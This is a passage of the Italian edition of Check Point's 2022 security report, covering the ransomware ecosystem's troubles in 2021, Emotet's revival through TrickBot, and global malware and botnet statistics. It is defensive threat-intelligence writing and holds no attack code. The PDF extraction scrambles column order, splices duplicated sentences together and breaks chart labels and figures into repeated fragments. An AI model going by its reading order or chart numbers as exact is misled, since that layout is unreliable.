quindi i gruppi di ransomware sviluppano

costantemente strumenti e servizi più

attraenti per i loro programmi di affiliazione,

al fine di a distinguersi in una comunità

sotterranea competitiva. La reputazione è un

fattore motivante fondamentale, in quanto

può influenzare le possibilità di un gruppo

di guadagnare grandi guadagni o addirittura

portare all'arresto da parte delle autorità.

Non è quindi non sorprende che i criminali

informatici mediano le loro controversie interne

nei forum dei tribunali, dove perdere una

causa può costare a un gruppo la reputazione

CREPE NELL’ECOSISTEMA RANSOMWARE Sono finiti i giorni in cui gli operatori di ransomware negoziavano un riscatto di 200 dollari

per le vostre foto di famiglia. L'economia del ransomware di oggi è un'operazione complessa

che estorce milioni di dollari per riscatto, tenendo prigioniere intere organizzazioni sotto

la minaccia di un arresto totale del sistema. L'evoluzione del modello di business del

ransomware è al centro di questo fenomeno. Il Ransomware-as-a-Service (RaaS) introduce

programmi di affiliazione a basso costo, permettendo a qualsiasi aggressore di unirsi

facilmente al trend. L'aggressore seleziona uno dei principali "progetti" di ransomware e

segue il manuale operativo dettagliato, e facile da seguire, che contiene istruzioni complete

per ogni fase dell'attacco. Se l'intrusione ha successo, gli operatori del ransomware e

gli affiliati condividono una percentuale del pagamento del riscatto della vittima. Questo

schema estremamente redditizio permette agli aggressori di raggiungere una gamma più

ampia di vittime e offre rendimenti più elevati a tutte le persone coinvolte. Gli operatori di

C A P I T O L O 3

https://www.zdnet.com/article/colonial-pipeline-ransomware-attack-everything-you-need-to-know/ https://threatpost.com/scammers-cybercrime-court/176834/ https://www.bleepingcomputer.com/news/security/translated-conti-ransomware-playbook-gives-insight-into-attacks/

29CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 29CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

tentativo di paralizzare il processo di riciclaggio

di denaro. Inoltre, il Governo Australiano ha

emesso il suo “Ransomware Action Plan”, che

include la costituzione di una nuova task force

speciale e punizioni più severe per gli attori del

ransomware.

A novembre, un'operazione internazionale

congiunta guidata dall'Interpol, denominata

"Operation Cyclone", ha portato al sequestro

di infrastrutture e all'arresto di affiliati al

riciclaggio di denaro per Cl0p, il gruppo

responsabile della violazione Accellion, fonte

di numerose estorsioni, doppie e triple. Inoltre,

il DOJ statunitense e altre agenzie federali

hanno perseguito ulteriori azioni contro REvil.

Queste azioni includevano l'arresto dei membri,

il sequestro di 6 milioni di dollari di denaro

per il riscatto, la confisca dei dispositivi e un

programma di taglie del valore di 10 milioni di

dollari.

La reazione a questi sviluppi è stata molto varia

all'interno dell'ecosistema del ransomware.

Alcuni gruppi hanno mostrato ostilità e hanno

applicato ancora più pressione sulle loro

vittime per tenere le autorità lontane dai loro

affari. Per esempio, Grief Ransomware ha

minacciato di cancellare completamente le

chiavi di decrittazione delle loro vittime se

avessero assunto dei negoziatori professionisti.

Allo stesso modo, RagnarLocker ha pubblicato

online tutti i contenuti rubati alle vittime che

hanno contattato l'FBI o altre forze dell'ordine.

Altri gruppi sembrano essersi concentrati

Più tardi quel mese, la banda DarkSide

ha annunciato che stava chiudendo le operazioni

dopo che i loro server sono stati sequestrati

e i loro fondi in criptovaluta, che sono stati

utilizzati per pagare gli affiliati del programma

Ransomware- as-a-Service, sono stati

rubati. Nel mese di giugno, il Dipartimento di

Giustizia degli Stati Uniti (DOJ) ha aggiornato

il ransomware a una minaccia di sicurezza

nazionale, mettendolo allo stesso livello di

priorità del terrorismo. Il successivo grande

incidente ha riguardato a luglio la violazione

il ransomware a una minaccia di sicurezza

nazionale, mettendolo allo stesso livello di

priorità del terrorismo. Il successivo grande

incidente ha riguardato a luglio riemerso

a settembre. Poi, sono scomparsi di nuovo

nel mese di ottobre dopo che una sospetta

operazione delle forze dell'ordine ha dirottato

con successo sia la loro infrastruttura sia

"Happy Blog".

A settembre, l'amministrazione Biden ha

portato la sua guerra contro il ransomware

un livello più elevato e ha announciato che

avrebbe iniziato a sanzionare gli scambi di

criptovalute, i wallet e i trader che gli attori

delle minacce ransomware utilizzano per

convertire i pagamenti dei riscatti in fondi

tangibili. Lo scambio SUEX, con sede in

Russia, è stato il primo ad essere aggiunto

alla lista delle sanzioni per la sua parte nelle

transazioni di riscatto. Il mese successivo,

l'Unione Europea e altri 31 paesi hanno

annunciato che si sarebbero uniti allo sforzo

di interrompere altri canali di criptovaluta, nel

C A P I T O L O 3

https://www.homeaffairs.gov.au/about-us/our-portfolios/cyber-security/strategy/australias-ransomware-action-plan https://threatpost.com/accellion-zero-day-attacks-clop-ransomware-fin11/164150/ https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/ https://www.theregister.com/2021/09/15/grief_corp_ransomware_negotiator_rage/ https://www.hackread.com/darkside-ransomware-quits-bitcoin-servers-seize/ https://www.reuters.com/technology/exclusive-us-give-ransomware-hacks-similar-priority-terrorism-official-says-2021-06-03/ https://www.zdnet.com/article/updated-kaseya-ransomware-attack-faq-what-we-know-now/ https://heimdalsecurity.com/blog/revil-ransomwares-servers-have-resurfaced-after-being-down-for-two-months/ https://consent.yahoo.com/v2/collectConsent?sessionId=3_cc-session_847ca596-482d-4283-8f70-4c50b75c1a00 https://gizmodo.com/biden-administration-reportedly-plans-sanctions-to-co-1847697017

30CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 30CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

sorpresi a truffare i loro affiliati dirottando il

processo di negoziazione del riscatto, usando

doppie chat e backdoor per tagliarli fuori dalle

loro quote. Il gruppo Conti ha vissuto una crisi

interna dopo che un affiliato scontento ha fatto

trapelare il playbook di Conti, lamentandosi dei

bassi compensi.

Infine, l'anno scorso, si sono visti i segnali di

cedimento della comunità ransomware sotto

pressione o addirittura la chiusura totale del

marketplace, con alcuni operatori ad avere

completamente abbandonato le loro attività.

Per esempio, la banda di criminali informatici

Avaddon è apparsa per la prima volta nel giugno

2020, ma solo un anno dopo è stata costretta a

chiudere e rilasciare le chiavi di decrittazione,

indubbiamente a causa dell'aumento del

controllo da parte delle forze dell'ordine. In

un altro caso, il ransomware Conti ha preso

di mira i gioielli britannici Graff, ma in seguito

ha fornito le sue scuse dopo aver realizzato

che alcuni dei dati rubati appartenevano alle

famiglie reali saudite, degli Emirati Arabi e

del Qatar. Temendo ritorsioni, ha promesso di

cancellare i dati senza controllo. I principali

forum di criminalità informatica hanno vietato

qualsiasi pubblicità di ransomware sulle loro

piattaforme per evitare di attirare l'attenzione.

Questo ha reso più difficile per gli operatori

comunicare efficacemente con gli affiliati, con il

rischio di essere scoperti.

Le misure proattive e le operazioni offensive

sull'adattamento e sul rebranding di se stessi

per evitare di essere troppo strettamente

associati a un attacco di primo piano. Darkside,

per esempio, è uscito temporaneamente

dall'arena del ransomware e almeno alcuni

dei suoi membri si sono ribattezzati tcome

BlackMatter a luglio. Hanno effettuato

attacchi contro il fornitore di servizi di

marketing Marketron, la società tecnologica

giapponese Olympus, e infrastrutture critiche

come l'organizzazione degli agricoltori New

Cooperative in Iowa. Tuttavia questa operazione

di rebranding è stata di breve durata, allorchè

a novembre, BlackMatter ha annunciato la

chiusura a causa della pressione delle autorità.

Hanno anche detto che i membri del loro

team "non erano più disponibili dopo le ultime

notizie", ma gli esperti credono che questa

uscita sia stata il risultato di problemi di fiducia

con i loro affiliati a causa di una crittografia

difettosa, permettendo ad una società di

sicurezza di decrittare i file delle vittime. In un

testamento finale di cooperazione sotterranea,

BlackMatter ha collaborato con il ransomware

LockBit e ha trasferito le sue vittime sulla

piattaforma LockBit per facilitare un'estorsione

senza soluzione di continuità, poco prima di

scomparire.

Sfortunatamente, non tutti i gruppi di

ransomware hanno mostrato questa armoniosa

cooperazione. La paura di essere arrestati

dalle autorità era aggravata da una marcata

sfiducia promossa dalla costante concorrenza.

Per esempio, gli operatori di REvil sono stati

C A P I T O L O 3

https://threatpost.com/revil-affiliates-leadership-cheated-ransom-payments/174972/ https://www.bankinfosecurity.com/conti-ransomware-threat-rising-as-group-gains-affiliates-a-17448 https://blog.malwarebytes.com/ransomware/2021/06/another-one-bites-the-dust-avaddon-ransomware-group-shuts-down-operation/ https://www.dailymail.co.uk/news/article-10172879/Russian-cyber-hackers-carried-virtual-heist-jewellers-Graff-make-grovelling-apology.html https://latesthackingnews.com/2021/05/17/cybercrime-forums-xss-exploit-raidforums-ban-ransomware-ads https://www.bankinfosecurity.com/blogs/blackmatter-ransomware-appears-to-be-spawn-darkside-p-3075 https://www.bankinfosecurity.com/blackmatter-knocks-marketron-off-air-a-17588 https://threatpost.com/blackmatter-ransomware-olympus/169423/ https://www.zdnet.com/article/iowa-farm-services-provider-hit-with-blackmatter-ransomware-and-5-9-million-ransom/ https://www.zdnet.com/article/iowa-farm-services-provider-hit-with-blackmatter-ransomware-and-5-9-million-ransom/ https://therecord.media/blackmatter-ransomware-says-its-shutting-down-due-to-pressure-from-local-authorities/ https://therecord.media/free-decrypter-announced-for-past-blackmatter-ransomware-victims/ https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/

31CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 31CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

dei governi di tutto il mondo sono riuscite a

danneggiare l'ecosistema del ransomware

interrompendone le operazioni e portando il

caos nella scena underground. Nonostante

questo, con i milioni di dollari di entrate

potenziali probabilmente vedremo più “progetti"

ransomware in arrivo nel 2022, con quelli

di successo che serviranno da modello per

attacchi futuri e migliorati. Un insegnamento

per gli operatori del ransomware dagli

eventi del 2021 è che il tipo di obiettivi che gli

operatori di ransomware scelgono potrebbe

fare la la differenza tra un'operazione a lungo

termine o una molto breve.

C H A P T E R #

32CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

C A P I T O L O 4

MALWARE SPOTLIGHT: IL RITORNO DI EMOTET

04

EMOTET, UNA DELLE PIÙ PERICOLOSE E FAMIGERATE BOTNET DELLA STORIA, È TORNATA, NONOSTANTE I LUNGHI E SINCRONIZZATI SFORZI DELLA COMUNITÀ INTERNAZIONALE E DELLE FORZE DELL'ORDINE DI TUTTO IL MONDO CHE HANNO PORTATO ALLA SUA ELIMINAZIONE NEL GENNAIO 2021.

33CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 33CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Emotet, una delle botnet più pericolose e infami della storia, è tornata, nonostante i

lunghi e sincronizzati sforzi della comunità internazionale e delle forze dell'ordine di

tutto il mondo che hanno portato al suo abbattimento nel gennaio 2021. Emotet, il trojan

bancario diventato botnet modulare, è noto per la sua massiccia portata di oltre 1,5 milioni

di computer infetti in tutto il mondo, attraverso migliaia di reti aziendali compromesse.

Emotet è stato utilizzato come piattaforma di distribuzione per distribuire altre famigerate

famiglie di malware come TrickBot, Qbot e Dridex, spesso risultando in attacchi

ransomware a livello di rete che hanno paralizzato intere organizzazioni. I danni inflitti sono

stati stimati in circa 2,5 miliardi di dollari, prima di essere chiuso con la forza.

A L E X A N D R A G O F M A N Team Leader,

Check Point Research

C A P I T O L O 4

Verso la fine dell'anno il mondo si è reso conto che anche una task force internazionale poteva solo rallentare Emotet, e non sradicarlo del tutto.

Almeno alcuni dei membri del suo gruppo sono stati in grado di eludere la giustizia e hanno preso tempo per riorganizzarsi, raggrupparsi e utilizzare le loro vecchie connessioni sotterranee per lanciare una nuova e migliore campagna di malspam globale.

Trickbot ed Emotet sono vecchi partner nel crimine, quindi per molti versi non era sorprendente che Emotet sfruttasse il servizio di TrickBot come dropper per il proprio rilancio".

https://www.europol.europa.eu/media-press/newsroom/news/world%e2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action https://securelist.com/the-chronicles-of-emotet/99660/ https://www.wired.com/story/emotet-botnet-takedown/

34CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 34CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Il 14 novembre, Emotet è ufficialmente risorto dalla morte, poiché sono stati osservati

campioni dal vivo per la prima volta dal suo smantellamento. La resurrezione di Emotet è

arrivata da una fonte sorprendente: La botnet di TrickBot è stata utilizzata per rilasciare i

campioni di Emotet sulle macchine infettate con il malware TrickBot. Il giorno dopo, Emotet

è tornato al suo metodo di distribuzione, con massicce campagne di spam che consegnano

il Trojan tramite allegati di documenti dannosi. Per ricostruire la loro rete, gli operatori di

Emotet hanno scelto di rilasciare il loro spam bot su macchine infettate con successo, un

metodo che ha permesso loro di distribuire il malware ad ancora più potenziali obiettivi.

TrickBot’s Il servizio di TrickBot come dropper era una scelta naturale per la rinascita

di Emotet, grazie alla loro ricca storia di collaborazione. In effetti, questo potrebbe

suggerire che almeno alcuni dei suoi vecchi partner malware sono anche coinvolti

nella sua resurrezione. TrickBot stesso è stato brevemente eliminato i nel 2020,

eppure ha persistito ed è stato presente nelle classifiche delle famiglie Top Malware

di Maggio, Giugno e Settembre 2021. Durante l'ultimo anno, Check Point Research ha

individuato oltre 140.000 vittime di TrickBot in tutto il mondo, coinvolgendo oltre 200

campagne e migliaia di reti compromesse. Questa enorme base di installazione rende

TrickBot la piattaforma perfetta per rilanciare la nuova botnet di Emotet

Emotet stesso è tornato ancora più forte con alcune nuove aggiunte alla sua cassetta degli

attrezzi. La variante aggiornata utilizza la crittografia a curva ellittica in opposizione alla

crittografia RSA, ha migliorato le sue tecniche di appiattimento del flusso di controllo e ha

aggiunto ai suoi metodi di consegna iniziali l'uso di pacchetti di installazione di Windows

App dannosi che impersonano il software legittimo. Inoltre, i ricercatori hanno scoperto

che Emotet sta ora rilasciando i beacon di Cobalt Strike direttamente per la prima volta,

invece di famiglie di malware intermedie che a loro volta lascerebbero cadere i beacon di

Cobalt Strike dopo qualche tempo. Cobalt Strike è stato la pietra angolare degli attacchi

ransomware mirati negli anni precedenti, e questo sfortunato sviluppo significa che la

durata dall'infezione iniziale di Emotet a un attacco ransomware completo è appena

diventata ancora più breve, lasciando i difensori con molto meno tempo per rispondere a un

attacco in corso.

Dal suo ritorno, Check Point Research ha osservato che il volume di attività di Emotet era

almeno il 50% del livello che abbiamo visto nel gennaio 2021, proprio prima del takedown.

Questa tendenza all'aumento è continuata per tutto dicembre con diverse campagne di

fine anno e ci si aspetta che continui anche nel 2022, almeno fino al prossimo tentativo di

takedown.

C A P I T O L O 4

https://cyber.wtf/2021/11/15/guess-whos-back/ https://isc.sans.edu/diary/28044 https://intel471.com/blog/trickbot-online-emotet-microsoft-cyber-command-disruption-attempts https://blog.checkpoint.com/2021/06/10/check-point-softwares-may-2021-most-wanted-malware-dridex-drops-from-list-while-trickbot-rises-to-top/ https://blog.checkpoint.com/2021/07/13/june-2021s-most-wanted-malware-trickbot-remains-on-top/ https://blog.checkpoint.com/2021/10/08/september-2021s-most-wanted-malware-trickbot-once-again-tops-the-list/ https://www.bleepingcomputer.com/news/security/emotet-now-spreads-via-fake-adobe-windows-app-installer-packages/ https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/

35CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

C A P I T O L O 5

STATISTICHE GLOBALI 05

NEL 2021, C'È STATO UN AUMENTO DEL 50% DEGLI ATTACCHI COMPLESSIVI PER SETTIMANA SULLE RETI AZIENDALI RISPETTO AL 2020.

36CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 36CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

GLOBALI

AMERICHE

CATEGORIE DI ATTACCO CYBER PER REGION

Figura 1: Percentuale di reti aziendali attaccate da ogni tipo di malware a livello globale.

Figura 2: Percentuale di reti aziendali attaccate da ogni tipo di malware nelle Americhe.

31%

21%

19%

19%

14%

8%

BOTNET

INFOSTEALER

CRYPTOMINERS

BANCARI

MOBILE

RANSOMWARE

BOTNET

INFOSTEALER

CRYPTOMINERS

BANCARI

MOBILE

RANSOMWARE

25%

18%

15%

15%

14%

6%

36CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

37CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

CATEGORIE DI ATTACCO CYBER PER REGIONI

EMEA

APAC

Figura 3: Percentuale di reti aziendali attaccate da ogni tipo di malware in EMEA.

Figura 4: Percentuale di reti aziendali attaccate da ogni tipo di malware in APAC.

BOTNET

INFOSTEALER

CRYPTOMINERS

BANCARI

MOBILE

RANSOMWARE

30%

23%

19%

19%

14%

8%

BOTNET

INFOSTEALER

CRYPTOMINERS

BANCARI

MOBILE

RANSOMWARE

43%

30%

25%

25%

13%

10%

37CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

38CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 38CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

MAPPA DELL’INDICE DI MINACCIA GLOBALE

Figura 5. Mappa dell’Indice di Minaccia Globale

La mappa mostra l'indice di rischio delle minacce informatiche a livello globale, mostrando le principali aree di rischio in tutto il mondo.*

* Più scuro = Rischio Più Alto * Grigio = Dati Insufficienti

C A P I T O L O 5

39CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 39CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

1605 (+75%)Istruzione / Ricerca Governativo / Militare

Comunicazioni

ISP / MSP

Sanità

SI / VAR / Distributori

Utilities

Manufatturiero

Finanziario / Bancario

Assicurativo / Legale

Leisure / Hospitality

Consulenziale

Fornitori Software

Retail / Wholesale

Trasporti

Fornitori Hardware

1136 1079 1068

830 778

736 704 703

636 595

576 536

526 501

367

(+47%)

(+51%)

(+67%)

(+71%)

(+18%)

(+46%)

(+41%)

(+53%)

(+68%)

(+40%)

(+73%)

(+146%)

(+39%)

(+34%)

(+16%)

Figura 6: Attacchi settimanali medi per organizzazione per industria nel 2021, rispetto al 2020.

Durante il 2021, gli attacchi informatici globali contro le reti aziendali sono

aumentati del 50%, rispetto al 2020. La categoria "Istruzione/Ricerca" è in testa

come il settore più bersagliato, con una media di 1.605 attacchi per organizzazione

ogni settimana (aumento del 75%), mentre la categoria "Fornitori Software"

mostra la più grande crescita anno su anno, con un aumento del 146%. L'aumento

degli attacchi contro i fornitori di software va di pari passo con la tendenza sempre

crescente degli attacchi alla catena di fornitura del software osservata nel corso

del 2021.

C A P I T O L O 5

40CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 40CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

PRINCIPALI TIPI DI FILE MALE VOLO – WEB VS. EMAIL

Figura 7: Web – Tipi di file più dannosi.

Figura 8: Email – Tipi di file più dannosi.

ex e

pd f

do c xls xls

x jar ba t

do cx ps

1 ap

k al

tri

52%

20%

5% 3% 3% 2% 2% 1% 1% 1%

10%

ex e

xlx s

pd f rtf do

c xls

m do

cx xls xls b

pp t

al tri

34%

16%

9% 7% 7% 6% 6% 5%

3% 2%

6%

C A P I T O L O 5

41CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 41CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Figura 9: Protocolli di distribuzione - email vs vettori di attacco web durante il 2019, 2020 & 2021.

64%

36%

83%

17%

84%

16%

EMAIL WEB

2019 2020 2021

I grafici di cui sopra indicano che il vettore di

attacco via e-mail si è costantemente affermato

come il preferito, rispetto al lento calo dell'uso

dei siti web per distribuire i payload del

malware dall'inizio del 2020. Sia che vengano

utilizzati in un attacco mirato, o come parte di

una campagna opportunistica da parte di un

aggressore alle prime armi, gli attacchi basati

sulle e-mail consentono la facile distribuzione

di malware a una vasta gamma di obiettivi e

società.

Una delle ragioni di questo aumento degli

attacchi via e-mail è il numero massiccio di

campagne di alto profilo sponsorizzate e gestite

da grandi gruppi criminali, che distribuiscono

le famiglie di malware più importanti oggi,

come TrickBot, Dridex, Qbot, IcedID o Emotet.

Una volta che queste bande si sono rese

conto dell'efficacia delle campagne di spam

con allegati di documenti Office dannosi, le

hanno usate quasi esclusivamente come loro

principale vettore di infezione in nuove reti.

C A P I T O L O 5

42CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 42CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

PRINCIPALI FAMIGLIE DI MALWARE

Figura 10: Il malware più diffuso a livello globale.

Percentuale di reti aziendali attaccate da ogni famiglia di malware.

Figura 11: Il malware più diffuso nelle Americhe.

AMERICHE

Tr ick

bo t

Qb ot

Fo rm

bo ok

Em ot

et

Dr id

ex

Ag en

tT es

la

Ph or

pi ex

Re m

co s

Gl up

te ba

XM Ri

g

11.0%

5.2% 5.0% 4.9% 4.4% 4.1% 4.0% 4.0% 3.7% 3.5%

GLOBALI

Tr ick

bo t

Re m

co s

Fo rm

bo ok

Ph or

pi ex

Dr id

ex

Em ot

et Qb

ot

Gl up

te ba

XM Ri

g

Ra cc

oo n

9.7%

3.6% 3.5% 3.5% 3.0% 3.0% 2.9% 2.6% 2.4% 2.4%

STATISTICHE GLOBALI SUL MALWARE I confronti dei dati presentati nelle seguenti sezioni di questo report si basano su dati tratti dalla Check Point ThreatCloud Cyber Threat Map tra gennaio e dicembre 2021. Per ciascuna delle regioni di seguito, presentiamo il malware più diffuso.

C A P I T O L O 5

https://threatmap.checkpoint.com/ThreatPortal/livemap.html https://threatmap.checkpoint.com/ThreatPortal/livemap.html

43CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 43CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Figura 12: Il malware più diffuso in EMEA.

EUROPA, MEDIO ORIENTE E AFRICA (EMEA)

Figura 13: Il malware più diffuso in APAC.

ASIA PACIFICO (APAC)

Tr ick

bo t

Qb ot

Em ot

et

Dr id

ex

Fo rm

bo ok

Ag en

tT es

la

Re m

co s

Ph or

pi ex

XM Ri

g

Gl up

te ba

10.8%

7.8%

5.9% 5.4% 5.0% 4.7%

4.2% 3.6% 3.6% 3.3%

Tr ick

bo t

Fo rm

bo ok

Ra m

ni t

Gl up

te ba

Ag en

tT es

la

Ph or

pi ex

Em ot

et

XM Ri

g

Dr id

ex

Ur sn

if

14.5%

7.8% 7.5% 7.1% 6.9% 6.2% 6.0% 5.7%

4.8% 4.8%

C A P I T O L O 5

44CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 44CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

ANALISI GLOBALE DEL PRINCIPALE MALWARE

Alcuni cambiamenti evidenti dalla nostra ultima classifica annuale del malware

globale, sono che RigEK (Exploit Kit) e LokiBot infostealer non sono più presenti

nella nostra top 10, sostituiti da Glupteba botnet e Remcos RAT.

TrickBot è salito in cima alla classifica a febbraio, sostituendo Emotet, e ha

mantenuto questa posizione per il resto del 2021. TrickBot è una botnet modulare e

un trojan bancario che prende di mira il sistema operativo Windows. E’ accreditata

per la rinascita di Emotet nel novembre 2021, poiché è stato trovato da distribuire

il suo compagno malware. TrickBot viene costantemente aggiornato con capacità

migliorate, caratteristiche e vettori di distribuzione, rendendolo un malware

flessibile e personalizzabile che può essere distribuito come parte di campagne

multiuso. È servito come mezzo popolare per l'accesso iniziale in attacchi mirati,

seguito da malware come Ryuk, Conti o Bazar.

Nonostante il breve takedown di TrickBot nell'ottobre 2020, è rimasto prominente

nelle nostre classifiche dei migliori malware per tutto il 2021, ed è stato coinvolto

in uno dei più gravi attacchi ransomware dell’anno, un attacco ransomware Conti

all'Health Service Executive dell'Irlanda.

Phorpiex è una botnet che al suo picco controllava più di un milione di host infetti.

È nota per la distribuzione di altre famiglie di malware tramite campagne di spam,

oltre ad alimentare spam su larga scala, campagne di sextortion o diffusione di

ransomware. Phorpiex, che ha toccato il suo minimo a metà anno, alla fine del

2021 ha finito per avere una posizione più alta rispetto a un anno fa. A dicembre,

Check Point Research ha individuato la rinascita di Phorpiex con una variante

nuova di zecca chiamata "Twizt", che gli permetteva di operare in modalità peer-

to-peer senza server C&C attivi. In un anno, i bot di Phorpiex hanno dirottato con

successo 969 transazioni e hanno rubato 3,64 Bitcoin, 55,87 Ether e 55.000 dollari

in token ERC20 che rappresentano quasi mezzo milione di dollari.

C A P I T O L O 5

https://blog.checkpoint.com/2021/03/11/february-2021s-most-wanted-malware-trickbot-takes-over-following-emotet-shutdown/ https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/ https://threatpost.com/emotet-resurfaces-trickbot/176362/ https://www.raconteur.net/technology/the-five-most-important-ransomware-attacks-of-2021/ https://research.checkpoint.com/2019/in-the-footsteps-of-a-sextortion-campaign/ https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/

45CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 45CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Figura 14: Le botnet più diffuse a livello

Figura 16: Le botnet più diffuse in EMEA

GLOBALI

Figura 15: Le botnet più diffuse nelle Americhe

Figura 17: Le botnet più diffuse in APAC

AMERICHE

EUROPA, MEDIO ORIENTE E AFRICA (EMEA) ASIA PACIFICO (APAC)

35%

12% 11%

11%

10%

27%

19% 15%

13%

9%

8%

29%

14%

13% 12%

12%

TrickBot Qbot Emotet Dridex Phorpiex Glupteba Altro

TrickBot Glupteba Phorpiex Emotet Dridex MyloBot Altro

11% 10%

27%

13%

11%11%

9%

23%

10% TrickBot Qbot Emotet Dridex Phorpiex Glupteba Altro

TrickBot Phorpiex Dridex Emotet Qbot Glupteba Altro

10%

9%

6%

35%

12% 11%

11%

10%

27%

19% 15%

13%

9%

8%

29%

14%

13% 12%

12%

TrickBot Qbot Emotet Dridex Phorpiex Glupteba Altro

TrickBot Glupteba Phorpiex Emotet Dridex MyloBot Altro

11% 10%

27%

13%

11%11%

9%

23%

10% TrickBot Qbot Emotet Dridex Phorpiex Glupteba Altro

TrickBot Phorpiex Dridex Emotet Qbot Glupteba Altro

10%

9%

6%

35%

12% 11%

11%

10%

27%

19% 15%

13%

9%

8%

29%

14%

13% 12%

12%

TrickBot Qbot Emotet Dridex Phorpiex Glupteba Altro

TrickBot Glupteba Phorpiex Emotet Dridex MyloBot Altro

11% 10%

27%

13%

11%11%

9%

23%

10% TrickBot Qbot Emotet Dridex Phorpiex Glupteba Altro

TrickBot Phorpiex Dridex Emotet Qbot Glupteba Altro

10%

9%

6%

35%

12% 11%

11%

10%

27%

19% 15%

13%

9%

8%

29%

14%

13% 12%

12%

TrickBot Qbot Emotet Dridex Phorpiex Glupteba Altro

TrickBot Glupteba Phorpiex Emotet Dridex MyloBot Altro

11% 10%

27%

13%

11%11%

9%

23%

10% TrickBot Qbot Emotet Dridex Phorpiex Glupteba Altro

TrickBot Phorpiex Dridex Emotet Qbot Glupteba Altro

10%

9%

6%

PRINCIPALI BOTNE T

C A P I T O L O 5

46CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 46CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

ANALISI GLOBALE DELLE BOTNET Nel complesso, stiamo vedendo le stesse famiglie di malware nelle nostre

classifiche delle principali botnet globali del 2020, con lievi cambiamenti nella

prevalenza di ogni famiglia Dridex, er esempio, è sceso dal secondo al quarto

posto, mentre TrickBot è salito al primo posto.

Emotet, uno dei gruppi di malware più infami, opera a intervalli dal 2014, prima

come trojan bancario e poi come botnet. Ora appare al terzo posto nella classifica

delle migliori botnet. Emotet era molto diffuso prima del suo takedown nel gennaio

2021, colpendo più di 1,5 milioni di macchine a livello globale con danni stimati in

circa 2,5 miliardi di dollari. È noto per la diffusione di altre famiglie di malware tra

cui TrickBot, Qbot e altri.

Il mercato delle botnet quest'anno è stato drasticamente colpito dalla caduta di

Emotet. Emotet è una delle più grandi operazioni di botnet per PC e la sua assenza

ha lasciato un vuoto riempito da TrickBot, IcedID, e più recentemente Phorpiex.

Il 15 novembre, appena 10 mesi dopo il suo takedown, le macchine infettate con

TrickBot hanno iniziato a rilasciare campioni di Emotet. I computer erano sempre

più compromessi da una grande campagna di malspam che sfruttava documenti

dannosi contenenti il payload Emotet.

Notiamo che entrambe le nostre classifiche H1 2021 e globale 2021 hanno

mostrato Emotet nei primi tre posti, nonostante nove mesi di assenza di attività -

un tributo al suo potere ineguagliabile.

C A P I T O L O 5

https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/

47CHECK POINT SOF T WARE | SECURIT Y REPORT 2022 47CHECK POINT SOF T WARE | SECURIT Y REPORT 2022

Figura 18: Principale malware infostealer a

livello globale

Figura 20: Principale malware infostealer in EME

Figura 19: Principale malware infostealer nelle Americhe

Figura 21: Principale malware infostealer in APAC

GLOBALI AMERICHE

EUROPA, MEDIO ORIENTE E AFRICA (EMEA) ASIA PACIFICO (APAC)

18%

12%

10%

8%6%

14%

13%

9%

8% 7%7%

Formbook AgentTesla LokiBot Raccoon Vidar Snake Keylogger Altro

Formbook AgentTesla LokiBot Vidar NanoCore Raccoon Altro

7%

18%

16%

11% 8%7%

33%

16%

13%

9%

9%

38%

8%7%

Formbook AgentTesla Raccoon LokiBot Vidar NanoCore Altro

Formbook Raccoon AgentTesla Vidar RedLine Stealer LokiBot Altro

39%

42%

7%

18%

12%

10%

8%6%

14%

13%

9%

8% 7%7%

Formbook AgentTesla LokiBot Raccoon Vidar Snake Keylogger Altro

Formbook AgentTesla LokiBot Vidar NanoCore Raccoon Altro

7%

18%

16%

11% 8%7%

33%

16%

13%

9%

9%

38%

8%7%

Formbook AgentTesla Raccoon LokiBot Vidar NanoCore Altro

Formbook Raccoon AgentTesla Vidar RedLine Stealer LokiBot Altro

39%

42%

7%

18%

12%

10%

8%6%

14%

13%

9%

8% 7%7%

Formbook AgentTesla LokiBot Raccoon Vidar Snake Keylogger Altro

Formbook AgentTesla LokiBot Vidar NanoCore Raccoon Altro

7%

18%

16%

11% 8%7%

33%

16%

13%

9%

9%

38%

8%7%

Formbook AgentTesla Raccoon LokiBot Vidar NanoCore Altro

Formbook Raccoon AgentTesla Vidar RedLine Stealer LokiBot Altro

